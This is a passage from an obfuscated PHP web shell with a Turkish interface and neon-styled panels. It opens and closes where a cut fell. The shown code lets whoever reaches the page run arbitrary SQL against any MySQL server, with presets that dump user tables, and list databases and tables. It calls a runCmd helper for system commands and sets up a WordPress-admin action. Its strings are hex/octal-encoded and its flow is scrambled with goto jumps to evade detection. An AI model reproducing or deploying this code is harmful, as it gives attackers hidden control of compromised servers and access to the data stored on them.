0.1s; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas-database"></canvas> <div class="database-wrapper"> <div class="database-container"> <!-- ============================================================ --> <!-- 1. SQL SORGU YÖNETİCİ --> <!-- ============================================================ --> <div class="database-card"> <div class="card-header"> <i class="fas fa-terminal"></i> <h4>⚡ SQL Sorgu</h4> <span class="badge">Query</span> </div> <?php $db_host = $_SESSION["\144\x62\137\150\x6f\163\x74"] ?? "\x6c\x6f\x63\141\x6c\x68\157\x73\164"; $db_user = $_SESSION["\x64\x62\137\x75\163\x65\162"] ?? "\162\x6f\157\164"; $db_pass = $_SESSION["\144\142\x5f\160\x61\163\163"] ?? ''; $db_name = $_SESSION["\144\x62\x5f\x6e\141\x6d\x65"] ?? ''; ?> <form method="POST" class="database-form"> <div class="input-group"> <input type="text" name="db_host" placeholder="Host" value="<?php echo htmlspecialchars($db_host); ?> "> <input type="text" name="db_user" placeholder="Kullanıcı" value="<?php echo htmlspecialchars($db_user); ?> "> </div> <div class="input-group"> <input type="password" name="db_pass" placeholder="Şifre" value="<?php echo htmlspecialchars($db_pass); ?> "> <input type="text" name="db_name" placeholder="Veritabanı" value="<?php echo htmlspecialchars($db_name); ?> "> </div> <div class="input-group"> <select name="query_preset" style="max-width:200px;"> <option value="">📋 Hazır Sorgu</option> <option value="SHOW DATABASES">📊 Veritabanlarını Listele</option> <option value="SHOW TABLES">📋 Tabloları Listele</option> <option value="SELECT * FROM users">👤 Kullanıcıları Getir</option> <option value="SELECT VERSION()">ℹ️ Sürüm Bilgisi</option> <option value="SELECT NOW()">🕐 Şu Anki Zaman</option> <option value="SELECT USER()">👤 Kullanıcı Bilgisi</option> </select> <button type="button" class="btn-neon-database primary small" onclick="document.querySelector('textarea[name=db_query]').value = document.querySelector('select[name=query_preset]').value"> <i class="fas fa-arrow-right"></i> Al </button> </div> <textarea name="db_query" rows="4" placeholder="SELECT * FROM users"><?php echo htmlspecialchars($_POST["\x64\142\137\161\x75\145\162\171"] ?? "\123\x48\117\x57\40\x44\101\x54\x41\102\x41\x53\x45\x53"); ?> </textarea> <div class="input-group"> <button type="submit" name="db_action" value="query" class="btn-neon-database success"> <i class="fas fa-play"></i> Çalıştır </button> <button type="reset" class="btn-neon-database danger small"> <i class="fas fa-undo"></i> Temizle </button> <button type="submit" name="db_action" value="save_connection" class="btn-neon-database warning small"> <i class="fas fa-save"></i> Bağlantıyı Kaydet </button> </div> </form> <?php if (isset($_POST["\x64\142\x5f\x61\143\x74\x69\157\156"]) && $_POST["\144\x62\137\141\x63\x74\151\x6f\156"] == "\x73\141\166\x65\137\143\157\156\156\x65\x63\164\151\157\156") { $_SESSION["\x64\142\x5f\150\157\x73\x74"] = $_POST["\x64\x62\x5f\x68\157\x73\x74"] ?? "\154\157\143\x61\x6c\150\x6f\x73\164"; $_SESSION["\144\142\x5f\x75\x73\x65\162"] = $_POST["\144\x62\x5f\165\x73\x65\162"] ?? "\162\x6f\157\164"; $_SESSION["\144\142\137\x70\141\x73\163"] = $_POST["\x64\x62\137\x70\141\163\163"] ?? ''; $_SESSION["\x64\x62\x5f\156\x61\x6d\x65"] = $_POST["\x64\x62\137\x6e\x61\155\145"] ?? ''; echo "\x3c\144\x69\x76\40\x63\x6c\141\x73\163\x3d\x22\x64\141\164\x61\x62\141\163\x65\x2d\x6f\x75\164\x70\165\164\x22\40\x73\164\171\x6c\x65\75\42\x6d\x61\162\x67\151\x6e\x2d\164\x6f\x70\72\x31\x30\x70\170\x3b\42\x3e"; echo "\74\x64\151\x76\40\x63\154\x61\x73\163\75\42\x6f\x75\x74\x70\x75\164\55\x6c\151\156\x65\x22\x3e\74\x73\x70\141\156\x20\143\x6c\x61\x73\x73\x3d\x22\x73\165\143\143\145\x73\163\x22\x3e\342\x9c\x85\x20\x42\x61\304\237\154\141\156\164\304\261\40\x62\151\x6c\147\x69\154\x65\162\x69\40\153\x61\171\x64\145\144\x69\154\x64\x69\74\57\163\160\x61\x6e\x3e\x3c\57\144\x69\166\x3e"; echo "\74\x2f\144\151\x76\x3e"; } if (isset($_POST["\144\x62\x5f\x61\x63\164\x69\x6f\x6e"]) && $_POST["\x64\142\137\141\143\x74\151\x6f\156"] == "\x71\165\145\x72\171" && !empty($_POST["\144\142\x5f\x71\165\145\162\x79"])) { $host = $_POST["\144\x62\137\150\157\x73\164"] ?? "\x6c\157\143\141\154\x68\x6f\x73\164"; $user = $_POST["\144\x62\137\165\163\145\162"] ?? "\x72\157\x6f\x74"; $pass = $_POST["\x64\x62\137\160\141\163\163"] ?? ''; $name = $_POST["\x64\142\137\156\141\155\145"] ?? ''; $query = trim($_POST["\144\142\137\161\x75\145\x72\171"]); echo "\x3c\x64\x69\166\x20\143\154\141\163\163\x3d\x22\144\x61\x74\x61\142\x61\x73\x65\x2d\157\x75\164\x70\x75\164\x22\x3e"; try { $conn = @new mysqli($host, $user, $pass, $name); if ($conn->connect_error) { echo "\x3c\x64\x69\x76\x20\x63\154\141\163\x73\x3d\42\157\x75\164\160\165\x74\55\x6c\151\156\x65\42\x3e\x3c\163\160\x61\x6e\40\x63\154\141\163\x73\75\42\145\162\x72\x6f\162\42\76\xe2\x9d\x8c\40\x42\x61\xc4\x9f\154\141\156\x74\304\261\40\x68\x61\164\141\163\xc4\261\x3a\40" . htmlspecialchars($conn->connect_error) . "\x3c\x2f\x73\160\x61\x6e\x3e\74\57\144\x69\x76\x3e"; echo "\74\x64\151\166\x20\143\154\x61\x73\x73\x3d\x22\157\165\164\x70\165\x74\x2d\x6c\151\156\145\42\76\x3c\x73\160\141\156\40\x63\154\141\163\163\75\x22\167\141\x72\x6e\42\76\xe2\232\240\357\xb8\x8f\x20\114\xc3\xbc\x74\x66\145\x6e\x20\x62\141\xc4\237\x6c\141\x6e\164\xc4\xb1\x20\142\x69\154\x67\151\x6c\145\x72\x69\156\151\x20\153\x6f\156\164\162\157\x6c\40\145\144\x69\156\x2e\x3c\x2f\x73\160\141\156\x3e\74\57\x64\x69\166\x3e"; } else { echo "\74\144\151\x76\x20\143\154\x61\163\x73\75\42\x6f\165\x74\x70\x75\164\x2d\x6c\x69\156\145\x22\76\x3c\x73\x70\141\156\40\143\x6c\141\163\163\75\x22\x69\156\146\x6f\x22\76\xe2\x96\266\xef\xb8\x8f\x20\x53\x6f\162\x67\x75\x20\xc3\xa7\141\x6c\304\xb1\xc5\237\164\xc4\261\162\304\261\154\xc4\xb1\171\157\162\56\56\x2e\x3c\57\163\x70\141\x6e\x3e\74\57\x64\x69\x76\x3e"; echo "\74\x64\x69\x76\x20\143\154\141\x73\x73\x3d\x22\157\165\x74\x70\x75\x74\x2d\x6c\x69\156\x65\42\x3e\x3c\x73\x70\x61\x6e\40\143\154\141\163\x73\x3d\x22\x64\x69\x6d\x22\x3e\xf0\237\223\x9d\40" . htmlspecialchars($query) . "\74\x2f\163\160\141\156\76\74\x2f\x64\151\166\76"; $result = $conn->query($query); if ($result === false) { echo "\74\x64\x69\166\40\143\154\141\x73\x73\75\42\x6f\165\x74\160\x75\164\55\154\x69\156\145\42\76\74\163\x70\x61\x6e\x20\x63\154\x61\163\x73\x3d\42\145\x72\162\157\162\x22\76\xe2\235\x8c\x20\x53\x51\114\x20\110\141\x74\141\x73\xc4\xb1\x3a\40" . htmlspecialchars($conn->error) . "\x3c\x2f\x73\x70\141\156\76\74\x2f\x64\151\166\x3e"; } elseif ($result === true) { echo "\x3c\x64\151\166\x20\x63\154\x61\x73\x73\75\x22\157\165\x74\x70\165\x74\55\154\151\156\145\42\x3e\74\x73\x70\141\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\163\165\143\x63\145\x73\x73\42\x3e\342\x9c\x85\40\x53\157\162\147\x75\40\x62\141\xc5\x9f\x61\162\304\261\x6c\304\261\x21\x3c\57\163\160\141\x6e\76\74\57\144\151\x76\x3e"; echo "\x3c\144\151\166\40\143\x6c\141\163\x73\75\42\157\165\164\160\x75\164\x2d\154\x69\156\145\42\x3e\x3c\163\x70\x61\x6e\x20\143\x6c\x61\163\x73\75\x22\144\x69\155\42\76\360\237\x93\212\x20\105\164\x6b\151\154\145\156\145\x6e\x20\x73\141\164\xc4\261\162\x3a\40" . $conn->affected_rows . "\x3c\57\x73\160\x61\156\x3e\x3c\x2f\144\151\166\x3e"; if ($conn->insert_id > 0) { echo "\x3c\144\x69\x76\x20\143\x6c\141\x73\x73\x3d\42\x6f\165\164\160\165\164\x2d\154\151\x6e\145\42\76\74\163\x70\x61\156\40\143\x6c\141\163\x73\x3d\42\x64\x69\x6d\42\x3e\360\237\224\221\x20\123\x6f\156\40\x65\x6b\154\x65\156\x65\156\40\111\104\x3a\x20" . $conn->insert_id . "\x3c\57\x73\x70\x61\x6e\76\74\x2f\x64\151\166\76"; } } elseif (is_object($result)) { $num_rows = $result->num_rows; echo "\x3c\144\151\x76\x20\x63\154\x61\x73\163\x3d\42\157\x75\x74\x70\165\164\x2d\154\x69\156\x65\42\76\x3c\x73\x70\x61\156\40\143\154\x61\163\x73\75\42\x73\165\143\143\145\163\163\42\76\xe2\x9c\205\x20\x53\x6f\x72\147\165\40\142\x61\xc5\x9f\x61\162\304\xb1\x6c\xc4\261\41\74\57\163\x70\x61\156\x3e\x3c\57\x64\x69\x76\x3e"; echo "\74\x64\151\166\x20\143\x6c\x61\x73\x73\75\42\157\x75\164\x70\x75\x74\x2d\x6c\151\156\145\x22\x3e\x3c\x73\x70\141\156\x20\x63\154\141\x73\163\75\42\x64\151\x6d\x22\x3e\360\237\x93\x8a\40\123\157\x6e\x75\303\247\x3a\x20" . $num_rows . "\40\x73\141\x74\xc4\261\162\74\57\163\160\x61\156\x3e\74\57\x64\151\166\76"; if ($num_rows > 0) { echo "\74\x64\151\166\x20\x73\164\171\x6c\145\x3d\42\x62\157\162\x64\x65\162\55\x74\x6f\160\72\x31\x70\x78\40\163\x6f\x6c\151\x64\x20\x72\147\142\141\x28\61\x37\71\x2c\60\54\62\65\x35\54\x30\56\60\x35\x29\x3b\155\141\162\147\x69\x6e\55\164\157\x70\x3a\x35\x70\x78\73\160\141\x64\x64\151\x6e\147\x2d\x74\x6f\160\x3a\x35\x70\170\73\42\76\74\57\144\151\x76\76"; echo "\x3c\x64\x69\166\x20\x63\154\141\163\x73\75\x22\x64\x62\55\x74\141\x62\154\145\x2d\167\x72\141\x70\160\x65\162\42\76"; echo "\x3c\x74\x61\x62\x6c\145\40\143\x6c\x61\163\163\x3d\42\144\142\55\x74\141\142\x6c\145\42\x3e"; $fields = $result->fetch_fields(); echo "\74\x74\x68\145\x61\x64\x3e\x3c\164\162\76"; foreach ($fields as $field) { echo "\74\164\x68\x3e" . htmlspecialchars($field->name) . "\74\x2f\x74\150\x3e"; } echo "\x3c\57\x74\x72\76\x3c\57\x74\x68\145\141\x64\x3e"; echo "\74\164\142\157\144\x79\x3e"; $count = 0; while ($row = $result->fetch_assoc() && $count < 50) { $count++; echo "\74\164\x72\x3e"; foreach ($fields as $field) { $val = $row[$field->name] ?? "\x4e\125\x4c\x4c"; if ($val === null || $val === '') { $val = "\74\x73\160\x61\x6e\x20\163\164\171\154\x65\75\x22\x63\x6f\154\157\162\72\162\x67\142\141\x28\61\70\60\x2c\x31\x35\60\x2c\x32\x35\x35\x2c\60\56\62\51\73\42\76\x4e\x55\x4c\114\74\x2f\163\x70\141\x6e\76"; } elseif (strlen($val) > 100) { $val = substr($val, 0, 100) . "\56\56\x2e"; } echo "\74\x74\x64\x3e" . htmlspecialchars($val) . "\x3c\57\x74\144\76"; } echo "\74\57\164\162\76"; } echo "\x3c\57\x74\142\x6f\144\x79\x3e\74\57\164\x61\x62\154\x65\76"; echo "\x3c\x2f\144\151\x76\x3e"; if ($num_rows > 50) { echo "\x3c\x64\x69\x76\x20\143\154\x61\163\163\x3d\x22\x6f\x75\x74\x70\x75\x74\x2d\154\151\156\x65\42\x3e\x3c\163\x70\x61\x6e\x20\x63\154\x61\163\163\x3d\x22\144\x69\155\x22\x3e\x20\40\x2e\56\x2e\x20\x76\145\40" . ($num_rows - 50) . "\40\163\x61\x74\304\xb1\x72\x20\x64\141\x68\x61\40\50\163\x61\144\145\143\x65\40\65\60\x20\147\xc3\266\163\x74\x65\x72\x69\154\x69\x79\x6f\162\x29\x3c\57\163\160\141\x6e\76\74\x2f\144\x69\x76\x3e"; } } else { echo "\x3c\144\x69\x76\40\x63\x6c\x61\163\163\x3d\42\x6f\165\164\x70\x75\x74\55\154\151\x6e\145\x22\x3e\74\163\160\141\x6e\40\x63\x6c\141\163\163\75\42\144\x69\155\x22\x3e\40\x20\50\x42\157\305\x9f\x20\x73\x6f\156\165\xc3\xa7\x29\74\57\163\160\141\x6e\x3e\74\x2f\144\x69\166\76"; } } $conn->close(); } } catch (Exception $e) { echo "\x3c\144\x69\x76\x20\x63\154\141\163\x73\x3d\42\x6f\165\x74\160\165\x74\55\x6c\151\x6e\145\42\76\74\x73\160\x61\x6e\40\x63\154\x61\x73\x73\x3d\42\145\x72\162\x6f\162\x22\x3e\xe2\235\x8c\40\110\x61\164\x61\72\x20" . htmlspecialchars($e->getMessage()) . "\74\x2f\163\160\141\x6e\76\x3c\57\144\x69\166\76"; } echo "\x3c\x2f\x64\151\166\x3e"; } ?> </div> <!-- ============================================================ --> <!-- 2. VERİTABANI BİLGİLERİ --> <!-- ============================================================ --> <div class="database-card"> <div class="card-header"> <i class="fas fa-server"></i> <h4>📊 Veritabanı</h4> <span class="badge">Bilgi</span> </div> <?php $host = $_SESSION["\x64\142\137\x68\157\x73\164"] ?? "\x6c\x6f\143\141\x6c\150\x6f\x73\x74"; $user = $_SESSION["\x64\142\137\x75\x73\x65\x72"] ?? "\162\x6f\x6f\164"; $pass = $_SESSION["\144\x62\x5f\160\141\x73\x73"] ?? ''; $name = $_SESSION["\x64\x62\x5f\x6e\x61\155\145"] ?? ''; $connected = false; $db_version = ''; $db_databases = array(); $db_tables = array(); $db_error = ''; try { $conn = @new mysqli($host, $user, $pass); if ($conn->connect_error) { $db_error = $conn->connect_error; } else { $connected = true; $db_version = $conn->server_info; $result = $conn->query("\123\110\117\127\40\104\x41\x54\101\102\x41\x53\105\x53"); if ($result) { while ($row = $result->fetch_assoc()) { $db_databases[] = $row["\x44\x61\164\141\x62\x61\x73\145"]; } } if (!empty($name)) { $conn->select_db($name); $result = $conn->query("\123\110\x4f\127\x20\x54\x41\102\x4c\105\x53"); if ($result) { while ($row = $result->fetch_array()) { $db_tables[] = $row[0]; } } } $conn->close(); } } catch (Exception $e) { $db_error = $e->getMessage(); } ?> <div class="current-status"> <span class="label">🔌 Bağlantı:</span> <span class="status-icon"><?php echo $connected ? "\342\234\x85" : "\xe2\x9d\x8c"; ?> </span> <span class="status-text <?php echo $connected ? '' : "\x65\x72\x72\x6f\162"; ?> "> <?php echo $connected ? "\102\141\304\237\154\141\156\164\xc4\261\x20\142\141\xc5\x9f\x61\x72\xc4\261\154\304\261" : "\102\x61\304\237\x6c\141\x6e\x74\304\261\40\142\141\xc5\x9f\141\162\304\xb1\163\304\261\x7a"; ?> </span> </div> <div class="info-grid"> <div class="info-item"> <div class="info-value"><?php echo $connected ? "\342\x9c\205" : "\xe2\x9d\x8c"; ?> </div> <div class="info-label">Durum</div> </div> <div class="info-item"> <div class="info-value"><?php echo $connected ? htmlspecialchars($db_version) : "\342\x80\224"; ?> </div> <div class="info-label">Sürüm</div> </div> <div class="info-item"> <div class="info-value"><?php echo $connected ? count($db_databases) : "\x30"; ?> </div> <div class="info-label">Veritabanı</div> </div> <div class="info-item"> <div class="info-value"><?php echo $connected ? count($db_tables) : "\60"; ?> </div> <div class="info-label">Tablo</div> </div> </div> <?php if ($connected) { ?> <?php if (!empty($db_databases)) { ?> <div class="database-output" style="margin-top:10px;"> <div class="output-line"><span class="info">📋 Veritabanları (' . count($db_databases) . '):</span></div> <?php $counter = 0; foreach ($db_databases as $db) { $counter++; if ($counter > 20) { echo "\74\144\x69\166\40\x63\154\141\163\163\x3d\42\x6f\x75\x74\x70\165\164\x2d\154\x69\x6e\145\42\76\74\163\x70\141\x6e\x20\x63\154\x61\163\163\75\42\x64\151\155\x22\76\x20\40\x2e\56\56\x20\x76\145\40" . (count($db_databases) - 20) . "\x20\x76\145\x72\151\x74\x61\142\x61\156\304\261\x20\x64\x61\150\141\x3c\x2f\x73\x70\141\x6e\x3e\74\57\x64\x69\166\x3e"; break; } ?> <div class="output-line"><span class="dim"> 📁</span> <?php echo htmlspecialchars($db); ?> </div> <?php } ?> </div> <?php } ?> <?php if (!empty($db_tables)) { ?> <div class="database-output" style="margin-top:10px;"> <div class="output-line"><span class="info">📋 Tablolar (' . count($db_tables) . '):</span></div> <?php $counter = 0; foreach ($db_tables as $table) { $counter++; if ($counter > 20) { echo "\74\144\151\166\x20\143\154\x61\163\163\75\42\157\x75\164\160\165\164\x2d\x6c\x69\x6e\145\42\76\x3c\163\160\x61\156\x20\143\x6c\x61\163\x73\75\x22\144\151\x6d\x22\x3e\x20\40\56\56\56\x20\x76\x65\40" . (count($db_tables) - 20) . "\x20\x74\141\142\154\157\x20\x64\x61\x68\141\74\57\163\x70\141\x6e\x3e\74\57\x64\151\166\76"; break; } ?> <div class="output-line"><span class="dim"> 📄</span> <?php echo htmlspecialchars($table); ?> </div> <?php } ?> </div> <?php } ?> <?php } else { ?> <div class="database-output" style="margin-top:10px;"> <div class="output-line"><span class="error">❌ Bağlantı hatası: <?php echo htmlspecialchars($db_error); ?> </span></div> <div class="output-line"><span class="warn">⚠️ Lütfen bağlantı bilgilerini kontrol edin.</span></div> </div> <?php } ?> <div class="btn-group-database"> <button onclick="location.reload()" class="btn-neon-database primary small"> <i class="fas fa-sync"></i> Yenile </button> <button onclick="document.querySelector('input[name=db_name]').value = ''; document.querySelector('textarea[name=db_query]').value = 'SHOW DATABASES';" class="btn-neon-database warning small"> <i class="fas fa-database"></i> Veritabanlarını Göster </button> </div> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas-database'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; this.color = ['#b300ff', '#ff00aa', '#00d4ff', '#00ff88', '#ffd700'][Math.floor(Math.random() * 5)]; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 4); gradient.addColorStop(0, this.color + Math.round(this.opacity * 150).toString(16).padStart(2, '0')); gradient.addColorStop(0.5, this.color + Math.round(this.opacity * 50).toString(16).padStart(2, '0')); gradient.addColorStop(1, this.color + '00'); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 4, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color + Math.round(this.opacity * 200).toString(16).padStart(2, '0'); ctx.fill(); } } const particleCount = Math.min(80, Math.floor(window.innerWidth * window.innerHeight / 25000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { const opacity = (1 - dist / 120) * 0.06; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== DATABASE FUNCTIONS ===== document.addEventListener('DOMContentLoaded', function() { const presetSelect = document.querySelector('select[name=query_preset]'); const queryTextarea = document.querySelector('textarea[name=db_query]'); if (presetSelect && queryTextarea) { presetSelect.addEventListener('change', function() { if (this.value) { queryTextarea.value = this.value; } }); } }); // ===== FORMAT SIZE ===== function formatSize(bytes) { if (bytes === 0 || bytes === false || isNaN(bytes) || bytes === null) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } </script> <?php } goto hjZ4l; D7pL9: ?> </div> </div> <?php goto dI4Ue; kiy2P: echo $action == "\142\141\143\x6b\165\x70" ? "\x61\143\x74\151\x76\x65" : ''; goto OcsrA; JsapB: function getOSInfo() { if (isWindows()) { $ver = runCmd("\166\145\x72\x20\x32\x3e\156\x75\x6c"); return "\127\x69\156\x64\x6f\x77\x73\40" . $ver; } else { return php_uname("\x73") . "\40" . php_uname("\162"); } } goto r0E1w; CK2mZ: if ($action == "\167\x70\141\x64\155\x69\x6e") { ?> <style> /* ===== PARTİKÜL ARKA PLAN ===== */ .wp-particle-container { position: relative; overflow: hidden; border-radius: 12px; background: radial-gradient(ellipse at center, rgba(20, 0, 40, 0.95), rgba(5, 0, 10, 0.98)); border: 1px solid rgba(179, 0, 255, 0.2); padding: 25px 20px; margin-bottom: 12px; } .wp-particle-canvas { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 0; } .wp-particle-content { position: relative; z-index: 1; } /* ===== BAŞLIK ===== */ .wp-title { text-align: center; margin-bottom: 20px; } .wp-title h4 { color: #b300ff; font-size: 18px; margin: 0; text-shadow: 0 0 40px rgba(179, 0, 255, 0.3); letter-spacing: 2px; font-family: 'JetBrains Mono', monospace; } .wp-title span { display: block; font-size: 10px; color: #6a4a8a; font-weight: normal; letter-spacing: 3px; margin-top: 4px; font-family: 'JetBrains Mono', monospace; } /* ===== KARTLAR ===== */ .wp-card-neon { background: rgba(20, 0, 40, 0.8); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 12px; padding: 16px 18px; margin-bottom: 10px; backdrop-filter: blur(10px); box-shadow: 0 0 30px rgba(179, 0, 255, 0.05); transition: all 0.4s; } .wp-card-neon:hover { border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 50px rgba(179, 0, 255, 0.1); } .wp-card-neon h5 { color: #b300ff; margin: 0 0 12px 0; font-size: 11px; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); font-weight: 700; font-family: 'JetBrains Mono', monospace; } /* ===== INPUTLAR ===== */ .wp-input-neon { display: flex; gap: 8px; margin-bottom: 8px; flex-wrap: wrap; } .wp-input-neon input, .wp-input-neon select { flex: 1; padding: 10px 14px; background: rgba(10, 0, 20, 0.7); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 8px; color: #ffffff; font-size: 12px; transition: all 0.4s; font-family: 'JetBrains Mono', monospace; min-width: 120px; } .wp-input-neon input:focus, .wp-input-neon select:focus { border-color: #b300ff; box-shadow: 0 0 25px rgba(179, 0, 255, 0.2); outline: none; background: rgba(20, 0, 40, 0.8); } .wp-input-neon input::placeholder { color: rgba(179, 0, 255, 0.3); } .wp-input-neon select option { background: #0a001a; color: #ffffff; } .wp-input-neon button { padding: 6px 14px; background: rgba(179, 0, 255, 0.15); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 6px; color: #ffffff; cursor: pointer; font-family: 'JetBrains Mono', monospace; font-size: 10px; transition: all 0.3s; white-space: nowrap; } .wp-input-neon button:hover { background: rgba(179, 0, 255, 0.3); border-color: #b300ff; } /* ===== BUTON GRUBU - ORTALI ===== */ .wp-btn-center { display: flex; justify-content: center; align-items: center; gap: 10px; flex-wrap: wrap; margin: 14px 0 6px 0; padding: 12px 10px; background: rgba(10, 0, 20, 0.3); border-radius: 12px; border: 1px solid rgba(179, 0, 255, 0.08); } /* ===== NEON MOR BUTONLAR - BEYAZ YAZI ORTALI ===== */ .wp-btn-master { padding: 10px 24px; border: none; border-radius: 50px; color: #ffffff !important; cursor: pointer; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1.2px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); position: relative; overflow: hidden; font-family: 'JetBrains Mono', monospace; text-shadow: 0 2px 10px rgba(0,0,0,0.3); min-width: 130px; box-shadow: 0 4px 15px rgba(0,0,0,0.3); display: inline-flex; align-items: center; justify-content: center; text-align: center; } /* Işıma Efekti */ .wp-btn-master::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(255,255,255,0.1) 0%, transparent 60%); transform: scale(0); transition: transform 0.6s; } .wp-btn-master:hover::before { transform: scale(1); } .wp-btn-master::after { content: ''; position: absolute; top: -2px; left: -2px; right: -2px; bottom: -2px; background: linear-gradient(45deg, transparent, rgba(255,255,255,0.08), transparent); border-radius: 50px; z-index: -1; opacity: 0; transition: opacity 0.4s; } .wp-btn-master:hover::after { opacity: 1; } .wp-btn-master:hover { transform: translateY(-3px) scale(1.03); box-shadow: 0 8px 35px rgba(179, 0, 255, 0.4); color: #ffffff !important; } .wp-btn-master:active { transform: scale(0.95); } .wp-btn-master .icon { margin-right: 6px; font-size: 13px; } /* ===== RENKLER - TÜMÜ BEYAZ YAZI ===== */ /* Ana Neon Mor */ .wp-btn-master.primary { background: linear-gradient(135deg, #7b00d4, #b300ff, #d400ff); background-size: 200% 200%; animation: gradientMove 3s ease infinite; box-shadow: 0 0 30px rgba(179, 0, 255, 0.3); color: #ffffff !important; } .wp-btn-master.primary:hover { box-shadow: 0 0 50px rgba(179, 0, 255, 0.6); color: #ffffff !important; } /* Başarı Neon Yeşil */ .wp-btn-master.success { background: linear-gradient(135deg, #00aa55, #00dd77, #44ffaa); background-size: 200% 200%; animation: gradientMove 4s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(0, 255, 136, 0.25); } .wp-btn-master.success:hover { box-shadow: 0 0 50px rgba(0, 255, 136, 0.5); color: #ffffff !important; } /* Bilgi Neon Mavi */ .wp-btn-master.info { background: linear-gradient(135deg, #0055dd, #0088ff, #33bbff); background-size: 200% 200%; animation: gradientMove 3.5s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(0, 153, 255, 0.25); } .wp-btn-master.info:hover { box-shadow: 0 0 50px rgba(0, 153, 255, 0.5); color: #ffffff !important; } /* Tehlike Neon Kırmızı */ .wp-btn-master.danger { background: linear-gradient(135deg, #bb0022, #ff0044, #ff3377); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 0, 68, 0.25); } .wp-btn-master.danger:hover { box-shadow: 0 0 50px rgba(255, 0, 68, 0.5); color: #ffffff !important; } /* Uyarı Neon Turuncu */ .wp-btn-master.warning { background: linear-gradient(135deg, #dd5500, #ff7700, #ffaa33); background-size: 200% 200%; animation: gradientMove 4s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 136, 0, 0.25); } .wp-btn-master.warning:hover { box-shadow: 0 0 50px rgba(255, 136, 0, 0.5); color: #ffffff !important; } /* Pembe Neon */ .wp-btn-master.pink { background: linear-gradient(135deg, #bb0055, #ff0088, #ff44aa); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 0, 136, 0.25); } .wp-btn-master.pink:hover { box-shadow: 0 0 50px rgba(255, 0, 136, 0.5); color: #ffffff !important; } /* Mor Koyu */ .wp-btn-master.purple { background: linear-gradient(135deg, #3a006a, #6a00bb, #aa44ff); background-size: 200% 200%; animation: gradientMove 5s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(122, 0, 204, 0.25); } .wp-btn-master.purple:hover { box-shadow: 0 0 50px rgba(122, 0, 204, 0.5); color: #ffffff !important; } /* Altın - Beyaz Yazı ile */ .wp-btn-master.gold { background: linear-gradient(135deg, #996600, #ccaa00, #ffdd44); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 215, 0, 0.2); } .wp-btn-master.gold:hover { box-shadow: 0 0 50px rgba(255, 215, 0, 0.4); color: #ffffff !important; } /* ===== ANİMASYONLAR ===== */ @keyframes gradientMove { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } @keyframes pulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.05); } } .wp-btn-master.pulse { animation: pulse 2s ease-in-out infinite; } /* ===== SONUÇ ===== */ .wp-result-neon { margin-top: 12px; padding: 